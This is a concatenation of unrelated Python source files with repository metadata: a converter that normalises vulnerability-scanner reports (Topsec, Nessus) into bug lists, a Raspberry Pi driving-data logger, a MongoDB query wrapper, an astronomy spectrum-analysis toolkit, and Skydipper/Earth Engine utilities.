.replace('Crital','紧急')
bug['bugnumber']= field[i]['CVE']
bug['bugdesc'] = field[i]['Description']
bug['bugplan'] = field[i]['Solution']
bug['bugnote'] = field[i]['See Also']
self.buglist.append(bug)
i += 1
def handler_topsec_xls(self):
'''根据天融信漏洞扫描器xls格式漏洞报告进行转换'''
table = self.steam.sheets()[0]
ip = table.row_values(1)[0]
nrows = table.nrows
for i in range(nrows):
if i ==0:
continue
ip_temp = table.row_values(i)[1] \
.replace('低风险', '低危') \
.replace('中风险', '中危') \
.replace('高风险', '高危') \
.replace('紧急风险','紧急')
self.buglist.append({
'bugaddr' : table.row_values(i)[0],
'bugname' : table.row_values(i)[3],
'bugrank' : ip_temp,
'bugdesc' : table.row_values(i)[7],
'bugplan' : table.row_values(i)[8],
'bugnote' : table.row_values(i)[5]
})
def handler_nessus_html(self):
'''根据Nessus扫描器html格式漏洞报告进行转换'''
html = str(self.content,encoding='utf-8')
detaillist = re.findall('<h2 xmlns="" class="classsection" .*?>(.*?)<h2 xmlns="" class="classsection" .*?>',html.replace('\n','').replace('\r\n',''),re.S)
for d in detaillist:
bugaddr = re.findall(r'(?<![\.\d])(?:\d{1,3}\.){3}\d{1,3}(?![\.\d])',d)[0]
bugs_raw = re.findall('Name</span></td></tr><tr>(.*?)</table>',d)
for b in bugs_raw:
ranks = re.findall('important;">(.*?)</span>',b)
names = re.findall('normal;">(.*?)</span>',b)
for i in range(len(ranks)):
if ranks[i] != "Info":
rank_single = ranks[i].replace('Low','低危') \
.replace('Medium','中危') \
.replace('High','高危') \
.replace('Crital','紧急').split()[0]
name_single = names[i]
self.buglist.append({
'bugaddr' :bugaddr, #漏洞地址 （必须，可以是url地址或者某个IP地址对应端口如 http://127.0.0.1/bugaddr?id=1或 127.0.0.1:1433
'bugname' :name_single, #漏洞名称 （必须
'bugrank' :rank_single, #漏洞等级 （必须，分四个等级【紧急，高危，中危，低危】 如果不是这个名称要进行相应转换
})
def handler_nessus_csv(self):
'''根据Nessus扫描器csv格式漏洞报告进行转换'''
with open(self.filepath) as f:
for row in csv.reader(f):
line = row
bug = {}
bug['bugaddr'] = line[4]
bug['bugname'] = line[7]
bug['bugrank'] = line[3].replace('Low','低危') \
.replace('Medium','中危') \
.replace('High','高危') \
.replace('Crital','紧急')
bug['bugnumber'] = line[1]
bug['bugdesc'] = line[9]
bug['bugplan'] = line[10]
bug['bugnote'] = line[11]
if bug['bugrank'] != "None":
self.buglist.append(bug)
| 2.4375 | 2 |
data.py | Jeeprr/selfdriving-raspi | 2 | 12789740 | <filename>data.py<gh_stars>1-10
import pandas as pd
import os
import cv2
import numpy as np
from datetime import datetime
import webcam as W
import controller as cntrl
global imgList, steeringList
countFolder = 0
count = 0
imgList = []
steeringList = []
#GET CURRENT DIRECTORY PATH
myDirectory = os.path.join(os.getcwd(), 'DataCollected')
# print(myDirectory)
# CREATE A NEW FOLDER BASED ON THE PREVIOUS FOLDER COUNT
while os.path.exists(os.path.join(myDirectory,f'IMG{str(countFolder)}')):
countFolder += 1
newPath = myDirectory +"/IMG"+str(countFolder)
os.makedirs(newPath)
# SAVE IMAGES IN THE FOLDER
def saveData(img,steering):
global imgList, steeringList
now = datetime.now()
timestamp = str(datetime.timestamp(now)).replace('.', '')
#print("timestamp =", timestamp)
fileName = os.path.join(newPath,f'Image_{timestamp}.jpg')
cv2.imwrite(fileName, img)
imgList.append(fileName)
steeringList.append(steering)
# SAVE LOG FILE WHEN THE SESSION ENDS
def saveLog():
global imgList, steeringList
rawData = {'Image': imgList,
'Steering': steeringList}
df = pd.DataFrame(rawData)
df.to_csv(os.path.join(myDirectory,f'log_{str(countFolder)}.csv'), index=False, header=False)
print('Log Saved')
print('Total Images: ',len(imgList))
def data(st):
img = W.getcam()
saveData(img,st)
saveLog() | 2.53125 | 3 |
app/models/base_queries.py | travelteker/flask_api | 0 | 12789741 | <reponame>travelteker/flask_api<filename>app/models/base_queries.py
from typing import Any, Optional, Union
from pymongo.cursor import Cursor
class BaseQueries:
"""Class to centralize commons method to manipulate database mongo"""
def __init__(self, collection: Any):
self.__collection = collection
def find_one(self, query: dict, options: Optional[dict] = None) -> Union[None, dict, Cursor]:
if options is None:
options = {}
return self.__collection.find_one(query, options)
def find(self, query: dict, options: Optional[dict] = None) -> Union[None, dict, Cursor]:
if options is None:
options = {}
return self.__collection.find(query, options)
def delete_one(self, query: dict, options: Optional[dict] = None):
if options is None:
options = {}
return self.__collection.delete_one(query, options)
| 2.578125 | 3 |
astro_tools.py | ellawang44/astro_tools | 0 | 12789742 | import numpy as np
from scipy.stats.mstats import theilslopes
from scipy.interpolate import CubicSpline
import matplotlib.pyplot as plt
# define constants
_c = 299792.458 # speed of light in km s^-1
class SpecAnalysis:
'''Analyse astronomy spectra.
'''
def __init__(self, wavelength, flux, flux_err=None):
'''
Parameters
----------
wavelength : List[Real] or 1darray
Input wavelengths. Needs to be monotonically increasing.
flux : List[Real] or 1darray
Input flux profile.
flux_err : List[Real] or 1darray, optional
Input flux error. If None, then set to array of 0.
'''
# if no error, then set error to 0
if flux_err is None:
flux_err = np.full(len(flux), 0)
# change to numpy array
try:
self.wl = np.array(wavelength, dtype=float)
self.flux = np.array(flux, dtype=float)
self.flux_err = np.array(flux_err, dtype=float)
except:
raise ValueError('Could not turn input into numpy arrays.')
# check monotonic increasing wavelength
if not ((self.wl[1:] - self.wl[:-1]) > 0).all():
raise ValueError('Wavelength needs to be strictly increasing')
# check length of all input equal
if not len(self.wl) == len(self.flux) == len(self.flux_err):
raise ValueError(
'wavelength, flux, flux_err are not the same length')
def save(self, wavelength, flux, flux_err=None):
'''Save the values given into the class.
Parameters
----------
wavelength : List[Real] or 1darray
Input wavelengths. Needs to be monotonically increasing.
flux : List[Real] or 1darray
Input flux profile.
flux_err : List[Real] or 1darray, optional
Input flux error. If None, then set to array 0.
'''
# if no error, then set error to 0
if flux_err is None:
flux_err = np.full(len(flux), 0)
self.wl = wavelength
self.flux = flux
self.flux_err = flux_err
def mask_region(self, masks, rm='out'):
'''Mask (remove) a region of the spectrum.
Parameters
----------
masks : list of lists[float]
The regions which you want to mask.
rm : str, optional
To remove the region in the mask or out. Accepted values: 'in' and
'out'.
Returns
-------
wl, flux, flux_err : 3darray
Masked wavelength, flux, and flux error.
'''
# make mask
mask_full = np.zeros(len(self.wl), dtype=bool)
for lower, upper in masks:
mask = (lower <= self.wl) & (self.wl <= upper)
mask_full = mask_full | mask
# flip if masking inside
if rm == 'in':
mask_full = ~mask_full
# apply mask
self.save(
self.wl[mask_full], self.flux[mask_full], self.flux_err[mask_full]
)
return self.wl, self.flux, self.flux_err
def cut(self, center, upper=10, lower=10, domain='wl'):
'''Cuts the wavelength, flux, and flux error and returns the values
between center - lower and center + upper.
Parameters
----------
center : Real
The center of the wavelengths where the cut should be taken, in the
same units as the wavelength.
upper : Positive Real, optional
The amount to go above the center when taking the cut, in the same
units of nm if rtype=wl, or in km/s if rtype=vr.
lower : Positive Real, optional
The amount to go below the center when taking the cut, in the same
units of nm if rtype=wl, or in km/s if rtype=vr.
domain : str, optional
The domain upper and lower is in. Either wl or vr (wavelength,
radial velocity respectively).
Returns
-------
wl, flux, flux_err : 3darray
Cut wavelength, flux, and flux error.
'''
# convert to wavelength
if domain == 'vr':
lower = vr_to_wl(lower, center=center)
upper = vr_to_wl(upper, center=center)
# cut
low = center - lower
high = center + upper
self.mask_region([[low, high]])
return self.wl, self.flux, self.flux_err
def sigma_clip(self, func, args=(), sigma_cut=3, iterations=1):
'''Clip outliers based on a sigma cut.
Parameters
----------
func : callable ``func(self.wl, self.flux, self.flux_err, *args)``.
The function to fit the spectrum to.
args : tuple, optional
Extra arguments passed to func,
i.e., ``func(self.wl, self.flux, self.flux_err, *args)``.
sigma_cut : float
The tolerance on sigma clip.
iterations : int
The number of times to iterate the sigma clip.
Returns
-------
wl, flux, flux_err : 3darray
Clipped wavelength, flux, and flux error.
'''
for _ in range(iterations):
flux_fit = func(self.wl, self.flux, self.flux_err, *args)
diff = self.flux - flux_fit
sigma = np.std(diff)
mask = np.abs(diff) < sigma*sigma_cut
self.save(self.wl[mask], self.flux[mask], self.flux_err[mask])
return self.wl, self.flux, self.flux_err
def cont_norm(self, center, mask_step=0.01, sigma_cut=3, iterations=3):
'''Normalise the continuum. Assumes you're normalising a line profile.
1. Do basic normalisation.
2. Sigma clip lines and outliers.
3. Fit theilslope on the clipped spectrum.
4. Remove fit from line.
Only works for a small region with linear continuum.
Parameters
----------
center : float
The center of the line.
mask_step : float
Width/2 of the line.
sigma_cut : float
The tolerance on sigma clip.
iterations : int
The number of times to iterate the sigma clip.
Returns
-------
wl, flux, flux_err : 3darray
Normalised wavelength, flux, and flux error.
'''
# save original values
wl = self.wl
flux = self.flux
flux_err = self.flux_err
# first do a shitty normalisation with the main line removed
masks = [[center - mask_step, center + mask_step]]
self.mask_region(masks, rm='in')
med = np.median(self.flux)
flux = flux/med
flux_err = flux_err/med
# sigma clip
self.save(wl, flux, flux_err)
median = lambda x,y,z:np.median(y)
self.sigma_clip(median, sigma_cut=sigma_cut, iterations=iterations)
# fit
fit = theilslopes(self.flux, self.wl)
grad = fit[0]
intercept = fit[1]
# remove linear slope
fit = wl*grad + intercept
flux = flux/fit
flux_err = flux_err/fit
self.save(wl, flux, flux_err)
return self.wl, self.flux, self.flux_err
def gaussian_broaden(center, sigma=0, num=None):
'''Only works for synthetic spectra because it uses cubicspline. Might
be unpredictable for synthetic spectra with more than 1 line or gaps.
TODO: investigate behaviour on harder to deal with synthetic spectra.
'''
# convert to velocity space
vr = wl_to_v(self.wl, center=center)
cs = CubicSpline(vr, self.flux)
# set steps
if num is None:
num = int((vr[-1] - vr[0]) / np.min(vr[1:] - vr[:-1])) + 1
num *= 2
# set kernel
g_gen = scipy.stats.norm(0, sigma/2.35482) # convert FWHM to sigma
# convolve
tau = np.linspace(vr[0], vr[-1], num)
convolver = np.array([g_gen.pdf(t) for t in tau])
convolver /= np.sum(convolver)
integrand = [cs(vr - t)*convolver[i] for i, t in enumerate(tau)]
flux_conv = np.sum(integrand, axis = 0)
self.flux = flux_conv
return self.wl, self.flux
def polyfit(x, y, x_out=None, deg=1):
'''Fits a polynomial to input data after shifting data to 0.
Parameters
----------
x : List[Real] or 1darray
x values to fit over.
y : List[Real] or 1darray
y values to fit over.
x_out : List[Real] or None
Output x values. If None, then return the fit.
deg : Int, optional
Degree of fitted polynomial. 1 by default.
Returns
-------
y_out or center, fit: 1darray or tuple(float)
Output y values at the input x_out values or x mean, grad, intercept.
'''
# convert to numpy arrays
x = np.array(x)
y = np.array(y)
# fit
center_x = np.mean(x)
fit = np.polyfit(x - center_x, y, deg=deg)
# return fit and center
if x_out is None:
return center_x, fit[0], fit[1]
# return y evaluated at x_out
y_out = np.polyval(fit, x_out - center_x)
return y_out
def cut_wavelength(wavelength, center=670.9659, upper=10, lower=10):
"""Cuts the wavelength returns the values between center - lower and center + upper. Useful for plotting mostly because many functions return a cut line profile but not cut wavelength.
Parameters
----------
wavelength : List[Real] or 1darray
Input wavelengths. Needs to be monotonically increasing.
center : Real, optional
The center of the wavelengths where the cut should be taken, in the same units as the wavelength.
upper : Positive Real, optional
The amount to go above the center when taking the cut, in the same units as the wavelength.
lower : Positive Real, optional
The amount to go below the center when taking the cut, in the same units as the wavelength.
Returns
-------
wl_cut : 2darray
Cut wavelengths.
"""
wavelength = np.array(wavelength)
low = center - lower
high = center + upper
wl_cut = wavelength[(low <= wavelength) & (high >= wavelength)]
return wl_cut
def wl_to_vr(wl, center=670.9659):
'''Converts wavelengths to radial velocity, works for errors too.
Parameters
----------
wl : float or ndarray
Wavelength to be converted, in nm.
center : float
The wavelength that vr=0 is at.
Returns
-------
vr : float or ndarray
Radial velocity in km/s.
'''
if isinstance(wl, float):
return wl*_c/center
else:
return np.array(wl)*_c/center
def vr_to_wl(vr, center=670.9659):
'''Converts wavelengths to radial velocity, works for errors too.
Parameters
----------
vr : float or ndarray
Radial velocity to be converted, in km/s.
center : float
The wavelength that vr=0 is at.
Returns
-------
wl : float or ndarray
Wavelengths in nm.
'''
if isinstance(vr, float):
return vr*center/_c
else:
return np.array(vr)*center/_c
def vac_to_air(lam):
'''Convert from vacuum to air wavelengths.
From https://www.astro.uu.se/valdwiki/Air-to-vacuum%20conversion
Parameters
----------
lam : float or ndarray
Wavelengths in vacuum in angstroms.
Returns
-------
air : float or ndarray
Wavelengths in air in angstroms.
'''
s = 1e4/lam
n = 1 + 0.0000834254 + 0.02406147 / (130 - s**2) + 0.00015998 / (38.9 - s**2)
return lam/n
def air_to_vac(lam):
'''Convert from air to vacuum wavelengths.
From https://www.astro.uu.se/valdwiki/Air-to-vacuum%20conversion
Parameters
----------
lam : float or ndarray
Wavelengths in air in angstroms.
Returns
-------
vac : float or ndarray
Wavelengths in vacuum in angstroms.
'''
s = 1e4/lam
n = 1 + 0.00008336624212083 + 0.02408926869968 / (130.1065924522 - s**2) + 0.0001599740894897 / (38.92568793293 - s**2)
return lam*n
def convolve(f, g, n, m):
'''Compute the discrete convolution.
Parameters
----------
f : Function
Function 1.
g : Function
Function 2.
n : 1darray
Shift applied to g.
m : 1darray
Discrete values at which the function is evaluated.
Returns
-------
conv : float
Discrete convolution at n f*g(n).
'''
m_shift = m + n.reshape(n.shape[0], -1) # m+n
return np.sum(f(m)*g(m_shift), axis=1)
def common_range(x_range, shifts):
'''Compute the common range shared after the shifts are applied.
Parameters
----------
x_range : Tuple(Float)
The range over which the functions are defined.
shifts : List[Float]
The shifts to apply to the functions.
Returns
-------
left, right : Float, Float
The shared range (left, right).
'''
min_shift = np.min(shifts)
max_shift = np.max(shifts)
left = max(x_range[0], x_range[0] - min_shift)
right = min(x_range[1], x_range[1] - max_shift)
if left == right:
raise ValueError('Shifts are too extreme given the x_range, there is no overlap.')
return left, right
def cross_correlate(f, g, x_range, shifts, num=10000, plot=False):
'''Compute the cross correlation between two functions. Truncates edges, no
extrapolation.
Parameters
----------
f : Function
Function 1.
g : Function
Function 2.
x_range : tuple(Float)
The common range that f and g are defined over.
i.e. f : [-2, 2] -> R
g : [-1, 3] -> R
Then x_range = (-1, 2)
shifts : 1darray
The shifts to apply to the function g.
num : int
The number of points to sample the function f and g.
plot : bool
Display plots for debugging.
Returns
-------
cc : List[Float]
The cross correlations of the given shifts.
'''
#TODO: x_range could be improved to take into account differences in range
# of f and g, this doesn't happen a lot in practice though
left, right = common_range(x_range, shifts)
m = np.linspace(left, right, num=num)
if plot:
# original functions
x = np.linspace(x_range[0], x_range[1], 1000)
plt.scatter(x, f(x), label='f', s=4, alpha=0.5)
plt.scatter(x, g(x), label='g', s=4, alpha=0.5)
# shift g
plt.scatter(m, g(m+np.max(shifts)), s=4, alpha=0.5,
label=f'g min={np.min(shifts):.2f} shift')
plt.scatter(m, g(m+np.min(shifts)), s=4, alpha=0.5,
label=f'g max={np.max(shifts):.2f} shift')
# common region
for line in [left, right]:
plt.axvline(line, color='black', linestyle='--')
plt.legend()
plt.show()
return convolve(f, g, shifts, m)
def radial_velocity(f, g, x_range, shifts, num=10000, plot=False):
'''Compute the radial velocity from the max cross correlation.
f and g must have continuum centered at 0. f(n) = g(n-rv)
Parameters
----------
f : Function
Function 1.
g : Function
Function 2.
x_range : tuple(Float)
The common range that f and g are defined over.
i.e. f : [-2, 2] -> R
g : [-1, 3] -> R
Then x_range = (-1, 2)
shifts : 1darray
The shifts to apply to the function g.
num : int
The number of points to sample the function f and g.
plot : bool
Display plots for debugging.
Returns
-------
rv : Float
The radial velocity of g with respect to f.
'''
# cast to numpy array
shifts = np.array(shifts)
cc = cross_correlate(f, g, x_range, shifts, num=num, plot=plot)
return shifts[np.argmax(cc)]
| 2.703125 | 3 |
scripts/scratch.py | lewisjared/netcdf-scm | 0 | 12789743 | <gh_stars>0
import pdb
from netcdf_scm.iris_cube_wrappers import CMIP6OutputCube
test = CMIP6OutputCube()
pdb.set_trace()
test.load_data_in_directory(
"/data/marble/cmip6/CMIP6/CMIP/NCAR/CESM2/historical/r10i1p1f1/Omon/tos/gn/v20190313/"
)
test.load_data_in_directory(
"tests/test-data/cmip6output/CMIP6/CMIP/NCAR/CESM2/historical/r10i1p1f1/Omon/tos/gn/v20190313"
)
| 1.5625 | 2 |
Skydipper/utils.py | Skydipper/LMIPy | 0 | 12789744 | <reponame>Skydipper/LMIPy<filename>Skydipper/utils.py
import json
import math
import ee
from time import sleep
from google.cloud import storage
def html_box(item):
"""Returns an HTML block with template strings filled-in based on item attributes."""
is_layer = str(type(item)) == "<class 'Skydipper.layer.Layer'>"
is_dataset = str(type(item)) == "<class 'Skydipper.dataset.Dataset'>"
is_widget = str(type(item)) == "<class 'Skydipper.Skydipper.Widget'>"
is_geometry = str(type(item)) == "<class 'Skydipper.geometry.Geometry'>"
is_image = str(type(item)) == "<class 'Skydipper.image.Image'>"
site_link = "<a href='https://skydipper.com/' target='_blank'>"
site_logo = "<img class='itemThumbnail' src='https://skydipper.com/images/logo.png'>"
if is_layer:
kind_of_item = 'Layer'
url_link = f'{item.server}/v1/layer/{item.id}?includes=metadata'
elif is_dataset:
kind_of_item = 'Dataset'
url_link = f'{item.server}/v1/dataset/{item.id}?includes=metadata,layer'
elif is_image:
if item.type in ['Classified Image', 'Composite Image']:
instrument = item.type
else:
instrument = item.instrument
html_string = ("<div class='item_container' style='height: auto; overflow: hidden; border: 1px solid #2BA4A0;"
"border-radius: 5px; background: #2BA4A0; line-height: 1.21429em; padding: 10px;''>"
"<div class='item_left' style='width: 100px; height: 100px; float: left;''>"
f"<a href='{item.thumb_url}' target='_blank'>"
f"<img class='itemThumbnail' src='{item.thumb_url}'>"
"</a></div><div class='item_right' style='float: none; width: auto; hidden;padding-left: 10px; overflow: hidden;''>"
f"<b>Image Source</b>: {instrument} </br>"
f"<b>Datetime</b>: {item.date_time} </br>"
f"<b>Cloud score </b>: {item.cloud_score} </br>"
" </div> </div>")
return html_string
elif is_geometry:
kind_of_item = 'Geometry'
url_link = f'{item.server}/v1/geostore/{item.id}'
html_string = ("<div class='item_container' style='height: auto; overflow: hidden; border: 1px solid #2bA4A0;"
"border-radius: 5px; background: #2bA4A0; line-height: 1.21429em; padding: 10px;''>"
"<div class='item_left' style='width: 210px; float: left;''>"
f"{site_link}"
f"{site_logo}"
"</a></div><div class='item_right' style='float: none; width: auto; hidden;padding-left: 10px; overflow: hidden;''>"
f"<b>Geometry id</b>: <a href={url_link} target='_blank'>{item.id}</a></br>")
for k,v in item.attributes.get('info').items():
if v and k != 'simplifyThresh':
html_string += f"<br><i>{k}: {v}</i>"
html_string += (""
" </div> </div>")
return html_string
else:
kind_of_item = 'Unknown'
url_link = None
table_statement = f"Data source {item.attributes.get('provider')}"
if item.attributes.get('connectorUrl') and item.attributes.get('provider') == "cartodb":
table_statement = (f"Carto table: <a href={item.attributes.get('connectorUrl')}"
" target='_blank'>"
f"{item.attributes.get('tableName')}"
"</a>"
)
if item.attributes.get('provider') == 'gee':
table_statement = (f"GEE asset: <a href='https://code.earthengine.google.com/asset='"
f"{item.attributes.get('tableName')} target='_blank'>"
f"{item.attributes.get('tableName')}"
"</a>"
)
html = ("<div class='item_container' style='height: auto; overflow: hidden; border: 1px solid #2BA4A0;"
"border-radius: 2px; background: #2BA4A0; line-height: 1.21429em; padding: 10px;''>"
"<div class='item_left' style='width: 210px; float: left;''>"
f"{site_link}"
f"{site_logo}"
"</a></div><div class='item_right' style='float: none; width: auto; hidden;padding-left: 10px; overflow: hidden;''>"
f"<a href={url_link} target='_blank'>"
f"<b>{item.attributes.get('name')}</b>"
"</a>"
f"<br> {table_statement} | {kind_of_item} in {', '.join(item.attributes.get('application')).upper()}."
f"<br>Last Modified: {item.attributes.get('updatedAt')}"
f"<br><a href='{item.server}/v1/fields/{item.id}' target='_blank'>Fields</a>"
f" Connector: {item.attributes.get('provider')}"
f" | Published: {item.attributes.get('published')}"
" </div> </div>")
return html
def show_image_collection(item, i):
html_string = ("<div class='item_container' style='height: auto; overflow: hidden; border: 1px solid #2BA4A0;"
"border-radius: 2px; background: #2BA4A0; line-height: 1.21429em; padding: 10px;''>"
"<div class='item_left' style='width: 100px; height: 100px; hidden;padding-left: 10px; float: left''>"
f"<a href='{item.get('thumb_url')}' target='_blank'>"
f"<img class='itemThumbnail' src='{item.get('thumb_url')}'>"
"</a></div><div class='item_right' style='float: none; hidden;padding-left: 10px; width: auto; overflow: hidden;''>"
f"<b>Image Source</b>: {item.get('instrument')} </br>"
f"<b>Datetime</b>: {item.get('date_time')} </br>"
f"<b>Cloud score </b>: {item.get('cloud_score')} </br>"
" </div> </div>")
return html_string
def show(item, i):
"""Returns an HTML block with template strings filled-in based on item attributes."""
is_layer = item.get('type') == 'Layer'
is_dataset = item.get('type') == 'Dataset'
server = item.get('server', "https://api.skydipper.com")
item_id = item.get('id', None)
attributes = item.get('attributes', None)
if is_layer:
kind_of_item = 'Layer'
url_link = f'{server}/v1/layer/{item_id}?includes=metadata'
elif is_dataset:
kind_of_item = 'Dataset'
url_link = f'{server}/v1/dataset/{item_id}?includes=metadata,layer'
else:
kind_of_item = 'Unknown'
url_link = None
table_statement = f"Data source {attributes.get('provider')}"
if attributes.get('connectorUrl') and attributes.get('provider') == "cartodb":
table_statement = (f"Carto table: <a href={attributes.get('connectorUrl')}"
" target='_blank'>"
f"{attributes.get('tableName')}"
"</a>"
)
if attributes.get('connectorUrl') and attributes.get('provider') == "csv":
table_statement = (f"CSV Table: <a href={attributes.get('connectorUrl')}"
" target='_blank'>"
f"{attributes.get('tableName')}"
"</a>"
)
if attributes.get('provider') == 'gee':
table_statement = (f"GEE asset: <a href='https://code.earthengine.google.com/asset='"
f"{attributes.get('tableName')} target='_blank'>"
f"{attributes.get('tableName')}"
"</a>"
)
site_link = "<a href='https://skydipper.com/' target='_blank'>"
site_logo = "<img class='itemThumbnail' src='https://skydipper.com/images/logo.png'>"
html = ("<div class='item_container' style='height: auto; overflow: hidden; border: 1px solid #2BA4A0;"
"border-radius: 2px; background: #2BA4A0; line-height: 1.21429em; padding: 10px;''>"
"<div class='item_left' style='width: 210px; float: left;''>"
f"{site_link}"
f"{site_logo}"
"</a></div><div class='item_right' style='float: none; width: auto; hidden;padding-left: 10px; overflow: hidden;''>"
f"<b>{i}. </b>"
f"<a href={url_link} target='_blank'>"
f"<b>{attributes.get('name')}</b>"
"</a>"
f"<br> {table_statement} | {kind_of_item} in {', '.join(attributes.get('application')).upper()}."
f"<br>Last Modified: {attributes.get('updatedAt')}"
f"<br><a href='{server}/v1/fields/{item_id}' target='_blank'>Fields</a>"
f" | Connector: {attributes.get('provider')}"
f" | Published: {attributes.get('published')}"
" </div> </div>")
return html
def create_class(item):
from .dataset import Dataset
from .layer import Layer
from .Skydipper import Widget
from .image import Image
if item['type'] == 'metadata':
return Dataset(id_hash=item.get('attributes').get('dataset'), server = item.get('server'))
if item['type'] == 'Dataset' :
return Dataset(id_hash = item.get('id'), server = item.get('server'))
elif item['type'] == 'Layer':
return Layer(id_hash = item.get('id'), server = item.get('server'))
elif item['type'] == 'Widget':
return Widget(id_hash = item.get('id'), attributes=item.get('attributes'), server = item.get('server'))
elif item['type'] == 'Image':
return Image(**item)
def flatten_list(nested_list):
if len(nested_list) > 0:
return [item for sublist in nested_list for item in sublist]
else:
return []
def get_geojson_string(geom):
coords = geom.get('coordinates', None)
if coords and not any(isinstance(i, list) for i in coords[0]):
geom['coordinates'] = [coords]
feat_col = {"type": "FeatureCollection", "features": [{"type": "Feature", "properties": {}, "geometry": geom}]}
return json.dumps(feat_col)
def parse_filters(filter_objects):
filter_whitelist = ['connectorType', 'provider', 'status', 'published', 'protected', 'geoInfo']
return_string = ''
error_string = ''
if filter_objects:
for k, v in filter_objects.items():
if k in filter_whitelist:
return_string += f'{k}={v}&'
else:
error_string += f' {k},'
if error_string:
print(f'Unable to filter by{error_string[:-1]}.')
return return_string
return ''
def sldDump(sldObj):
"""
Creates valid SldStyle string from an object.
"""
sld_type = sldObj.get('type', None)
extended = str(sldObj.get('extended', 'false')).lower()
items = sldObj.get('items', None)
sld_attr = {'color': None, 'label': None, 'quantity': None, 'opacity': None}
if sld_type not in ['linear', 'ramp', 'gradient', 'intervals', 'values']:
print('Unable to create SldStyle. Type must be in "linear", "ramp", "gradient", "intervals", "values".')
return None
if items:
sld_str = f'<RasterSymbolizer> <ColorMap type="{sld_type}" extended="{extended}"> '
for item in items:
sld_str += f'<ColorMapEntry '
for k in sld_attr.keys():
if item.get(k, None): sld_str += f'{k}="{item[k]}" '
sld_str += '/> + '
return sld_str + "</ColorMap> </RasterSymbolizer>"
def sldParse(sld_str):
"""
Builds a dictionary from an SldStyle string.
"""
sld_str = sld_str.replace("'", '"').replace('\"', '"')
keys = ['color', 'label', 'quantity', 'opacity']
items = [el.strip() for el in sld_str.split('ColorMapEntry') if '<RasterSymbolizer>' not in el]
sld_items = []
for i in items:
tmp = {}
for k in keys:
v = find_between(i, f'{k}="', '"')
if v: tmp[k] = v
sld_items.append(tmp)
return {
'type': find_between(sld_str, 'type="', '"'),
'extended': find_between(sld_str, 'extended="', '"'),
'items': sld_items
}
def find_between(s, first, last):
try:
start = s.index(first) + len(first)
end = s.index(last, start)
return s[start:end]
except ValueError:
return ""
def nested_set(dic, keys, value):
for key in keys[:-1]:
dic = dic.setdefault(key, {})
dic[keys[-1]] = value
def server_uses_widgets(server):
"""
Does the server currently set use Widget objects? Response gives True if it does, false if not.
"""
uses_widgets = ['https://api.resourcewatch.org','https://staging-api.globalforestwatch.org']
if any(server in s for s in uses_widgets):
return True
else:
return False
def tile_url(image, viz_params=None):
"""Create a target url for tiles from an EE image asset.
e.g.
im = ee.Image("LE7_TOA_1YEAR/" + year).select("B3","B2","B1")
viz = {'opacity': 1, 'gain':3.5, 'bias':4, 'gamma':1.5}
url = tile_url(image=im),viz_params=viz)
"""
if viz_params:
d = image.getMapId(viz_params)
else:
d = image.getMapId()
base_url = 'https://earthengine.googleapis.com'
url = (f"https://earthengine.googleapis.com/v1alpha/{d['mapid']}/tiles/{{z}}/{{x}}/{{y}}")
return url
class EE_TILE_CALCS(object):
"""
Copyright (c) 2018 <NAME>. All rights reserved.
This work is licensed under the terms of the MIT license.
For a copy, see <https://opensource.org/licenses/MIT>.
Refactored to Python, Vizzuality, 2020.
This code will help you calculate tile bounds, intersected with
a given geom, at a specified z-level.
"""
def __init__(self, tileSize=256):
ee.Initialize()
self.tileSize = tileSize
self.equatorial_circumference = 40075016.686
self.origin = 2 * math.pi * 6378137 / 2.0
def zoomToScale(self, zoom):
tileWidth = self.equatorial_circumference / math.pow(2, zoom)
pixelWidth = tileWidth / self.tileSize
return pixelWidth
def scaleToZoom(self, scale):
tileWidth = scale * self.tileSize
zoom = math.log(self.equatorial_circumference / tileWidth) / math.log(2)
return math.ceil(zoom)
def pixelsToMeters(self, px, py, zoom):
resolution = self.zoomToScale(zoom)
x = px * resolution - self.origin
y = py * resolution - self.origin
return [x, y]
def metersToPixels(self, x, y, zoom):
resolution = zoomToScale(zoom)
px = (x + self.origin) / resolution
py = (y + self.origin) / resolution
return px, py
def degreesToTiles(self, lon, lat, zoom):
tx = math.floor((lon + 180) / 360 * math.pow(2, zoom))
ty = math.floor((1 - math.log(math.tan(self.toRadians(lat)) + 1 / math.cos(self.toRadians(lat))) / math.pi) / 2 * math.pow(2, zoom))
return [tx, ty]
@staticmethod
def tilesToDegrees(tx, ty, zoom):
lon = tx / math.pow(2, zoom) * 360 - 180
n = math.pi - 2 * math.pi * ty / math.pow(2, zoom)
lat = toDegrees(math.atan(0.5 * (math.exp(n) - math.exp(-n))))
return [lon, lat]
def getTilesForGeometry(self, geometry, zoom):
bounds = ee.List(geometry.bounds().coordinates().get(0))
ll = bounds.get(0).getInfo() # <-- Look at making this happen server-side
ur = bounds.get(2).getInfo() # <-- Look at making this happen server-side
tmin = self.degreesToTiles(ll[0], ll[1], zoom)
tmax = self.degreesToTiles(ur[0], ur[1], zoom)
tiles = []
for tx in range(tmin[0], tmax[0] + 1):
for ty in range(tmax[1], tmin[1] + 1):
bounds = self.getTileBounds(tx, ty, zoom)
rect = ee.Geometry.Rectangle(bounds, 'EPSG:3857', False)
tiles.append(ee.Feature(rect).set({'tx': tx, 'ty': ty, 'zoom': zoom }))
return ee.FeatureCollection(tiles).filterBounds(geometry)
def getTilesList(self, geometry, zoom):
"""Returns a list of individual features, where each feature element is a tile footprint."""
bounds = ee.List(geometry.bounds().coordinates().get(0))
ll = bounds.get(0).getInfo() # <-- Look at making this happen server-side
ur = bounds.get(2).getInfo() # <-- Look at making this happen server-side
tmin = self.degreesToTiles(ll[0], ll[1], zoom)
tmax = self.degreesToTiles(ur[0], ur[1], zoom)
tiles = []
for tx in range(tmin[0], tmax[0] + 1):
for ty in range(tmax[1], tmin[1] + 1):
bounds = self.getTileBounds(tx, ty, zoom)
rect = ee.Geometry.Rectangle(bounds, 'EPSG:3857', False)
tiles.append(ee.Feature(rect).set({'tx': tx, 'ty': ty, 'zoom': zoom }))
return tiles
def getTileBounds(self, tx, ty, zoom, tileSize=256):
"""Returns a FeatureCollection object, where each feature is a tile footprint"""
ty = math.pow(2, zoom) - ty - 1 # TMS -> XYZ, flip y index
tmp_min = self.pixelsToMeters(tx * tileSize, ty * tileSize, zoom)
tmp_max = self.pixelsToMeters((tx + 1) * tileSize, (ty + 1) * tileSize, zoom)
return [tmp_min, tmp_max]
@staticmethod
def toRadians(degrees):
return degrees * math.pi / 180
@staticmethod
def toDegrees(radians):
return radians * 180 / math.pi
class MovieMaker(object):
"""
Create movie tiles for a list of bounds, to go into a GCS bucket
Parameters
----------
area: ee.Geometry.Polygon()
A polygon that covers the area which you want to generate tiles within.
